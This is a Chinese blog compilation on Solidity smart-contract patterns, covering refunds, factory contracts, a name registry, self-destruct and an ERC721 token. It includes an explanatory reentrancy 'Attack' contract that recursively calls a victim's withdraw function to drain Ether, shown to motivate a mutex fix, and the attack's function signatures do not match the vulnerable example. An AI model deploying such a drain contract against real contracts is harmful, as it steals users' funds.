Zhuang's Diary

言之有物,持之以恒

​ 在售卖商品时,有可能因质量或者其他问题发生商品退回,同时必须给买家退款。通常,合约里记录追踪了所有的买家,可以放置在一个名叫 refund 的函数中,遍历所有的买家,从而找到需要退款的买家,最后把退款返回给到买家的地址上。退款中可以使用 buyerAddress.transfer() 或者 buyerAddress.send()。区别在于:transfer()在发生错误的情况下发生异常,而send()在发生意外的情况下不抛出异常,只是返回 false。send()的这个特性很重要,因为大部分买家是外部账户,但也有些买家可能是合约账户。如果合约账户中 Fallback 时出错,并抛出异常,遍历就会结束。交易被完全回退,这时,没有买家拿到退款。换句话说,退款程序被阻塞了。(实际上,单次调用中,transfer()更加安全,可以根据异常判断调用情况,所以尽量使用transfer() )

​ 使用 send(),错误的合约账户也不会阻塞其他买家的退款。但是send() 在使用时要注意重入攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.6.12;

contract WithdrawalContract {
mapping(address => uint256) buyers;

function buy() public payable {
require(msg.value > 0);
buyers[msg.sender] = msg.value;
}

function withdraw() public {
uint256 amount = buyers[msg.sender];
require(amount > 0);
buyers[msg.sender] = 0;
require(msg.sender.send(amount));
}
}

重入攻击 的具体攻击手段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
contract Attack {
address owner;
address victim;

modifier ownerOnly { require(owner == msg.sender); _; }

function Attack() payable { owner = msg.sender; }

// 设置已部署的合约实例地址,即攻击的合约对象
function setVictim(address target) ownerOnly { victim = target; }

// deposit Ether to deployed contract
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}

// withdraw Ether from deployed contract
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}

// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}

function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}

function () payable {
if (msg.sender == victim) {
// step3 (收款后,自动执行)
// 再次尝试调用 攻击对象 的 withdraw 函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}

所以上述代码采用互斥锁较为妥当。:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.6.12;

contract WithdrawalContract {
bool reEntrancyMutux = false;
mapping(address => uint256) buyers;

function buy() public payable {
require(msg.value > 0);
buyers[msg.sender] = msg.value;
}

function withdraw() public {
require(!reEntrancyMutux);
uint256 amount = buyers[msg.sender];
require(amount > 0);
buyers[msg.sender] = 0;
reEntrancyMutux = true;
require(msg.sender.send(amount));
reEntrancyMutux = false;
}
}

关联文档:

  1. 智能合约-CURD的详细分析
  2. 智能合约-自毁模式
  3. 智能合约-工厂合约模式
  4. 智能合约-名字登录模式
  5. 智能合约-退款方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.6.12;

contract AutoShop {
address[] autoAssets;
function createChildContract(string memory brand, string memory model) public payable {
// 增加检查:ether是否足够支付 car
address newAutoAsset = address(new AutoAsset(brand, model, msg.sender));
autoAssets.push(newAutoAsset);
}
function getDeployChildContracts() public view returns (address[] memory) {
return autoAssets;
}
}

contract AutoAsset {
string brand;
string model;
address owner;
constructor(string memory _brand, string memory _model, address _owner) public {
brand = _brand;
model = _model;
owner = _owner;
}
}

address newAutoAsset = address(new AutoAsset(...) 出发了一个交易,将子合约部署到区块链并返回合约地址。同时,将合约地址存储到数组 address[] autoAssets 中。

关联文档:

  1. 智能合约-CURD的详细分析
  2. 智能合约-自毁模式
  3. 智能合约-工厂合约模式
  4. 智能合约-名字登录模式
  5. 智能合约-退款方式

​ 工厂合约的地址如果经常变化,就必须追踪这些合约。在这种情况下,就可以使用名字登录模式,存储合约名到合约地址的映射mapping,同时提供根据合约名来查找合约地址的功能,甚至还可以追踪版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.6.12;

contract NameRegistry {
struct ContractDetails {
address owner;
address contractAddress;
uint16 version;
}
mapping(string => ContractDetails) registry;

function registerName(string memory name, address addr, uint16 ver) public returns (bool) {
// 版本号码从1开始
require(ver >= 1);
ContractDetails memory info = registry[name];
require(info.owner == msg.sender);
// 如果在当前的registry不存在的话,创建记录
if(info.contractAddress == address(0)) {
info = ContractDetails({
owner:msg.sender,
contractAddress:addr,
version:ver
});
} else {
info.version = ver;
info.contractAddress = addr;
}
// 修改 registry 里的记录
registry[name] = info;
return true;
}

function getContractDetails(string memory name) public view returns (address, uint16) {
return(registry[name].contractAddress, registry[name].version);
}
}

通过 getContractDetails(name) 获得合约地址和指定版本的合约。

关联文档:

  1. 智能合约-CURD的详细分析
  2. 智能合约-自毁模式
  3. 智能合约-工厂合约模式
  4. 智能合约-名字登录模式
  5. 智能合约-退款方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.6.12;

contract SelfDesctructionContract {
address payable owner;

modifier ownerRestricted {
require (owner == msg.sender);
_;
}

// 构造函数
constructor() public {
owner = msg.sender;
}

// 使用ownerRestricted修饰符来限定只有合约的所有者才能调用该函数
function destructContract() public payable ownerRestricted {
selfdestruct(owner);
}
}

owner 必须可接受支付的回收的gas。

关联文档:

  1. 智能合约-CURD的详细分析
  2. 智能合约-自毁模式
  3. 智能合约-工厂合约模式
  4. 智能合约-名字登录模式
  5. 智能合约-退款方式

​ ERC721是比ERC20更复杂的标准,具有多个可选扩展名,并且分为多个合约。 OpenZeppelin合约提供了灵活的组合方式以及自定义有用的扩展。本文讲解以OpenZeppelin合约为目标对象。

构建ERC721代币合同

​ 我们将使用ERC721来跟踪游戏中的装备条目,每个条目都有各自独特的属性。 每当要奖励给玩家时,便会铸造(mint)并发送给他们。 玩家可以自由保留自己的代币,也可以与自己认为合适的其他人进行交易,就像区块链上的任何其他资产一样! 请注意,任何帐户都可以将awardItem称为铸造(mint)。 为了限制可以创建项目的帐户,我们可以添加访问控制

​ 合约如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// contracts/GameItem.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract GameItem is ERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;

constructor() public ERC721("GameItem", "ITM") {}

function awardItem(address player, string memory tokenURI)
public
returns (uint256)
{
_tokenIds.increment();

uint256 newItemId = _tokenIds.current();
_mint(player, newItemId);
_setTokenURI(newItemId, tokenURI);

return newItemId;
}
}

​ ERC721合约包括了标准扩展(IERC721MetadataIERC721Enumerable)。 这就是_setTokenURI方法的来源:我们使用它来存储项目的元数据。

​ 另请注意:与ERC20不同,ERC721缺少小数,因为每个令牌都是不同的,并且无法分区。

​ 新项目示例:

1
2
3
4
> gameItem.awardItem(playerAddress, "https://game.example/item-id-8u5h2m.json")
Transaction successful. Transaction hash: 0x...
Events emitted:
- Transfer(0x0000000000000000000000000000000000000000, playerAddress, 7)

​ 查询每个项目的所有者和元数据:

1
2
3
4
> gameItem.ownerOf(7)
playerAddress
> gameItem.tokenURI(7)
"https://game.example/item-id-8u5h2m.json"

​ 此tokenURI应该解析为一个类似于以下内容的JSON文档:

1
2
3
4
5
6
{
"name": "Thor's hammer",
"description": "Mjölnir, the legendary hammer of the Norse god of thunder.",
"image": "https://game.example/item-id-8u5h2m.png",
"strength": 20
}

​ 有关tokenURI元数据JSON架构的更多信息,请参考==>https://eips.ethereum.org/EIPS/eip-721

ERC721 合约的前置功能

​ ERC721可用的预设有ERC721PresetMinterPauserAutoId。它已预设为允许Token铸造(创建),停止所有令牌传输(暂停),并允许持有人焚毁(销毁)其Token。合同使用访问控制来控制对铸造和暂停功能的访问。部署合同的帐户将被授予minter 和pauser 角色,以及默认的admin角色。

​ 无需编写任何Solidity代码即可立即部署此合同。它可以原样用于快速原型制作和测试,但也适用于生产环境。

关联内容 ==> https://willzhuang.github.io/2019/07/04/ERC20-721Token的发行-冻结-多方签名功能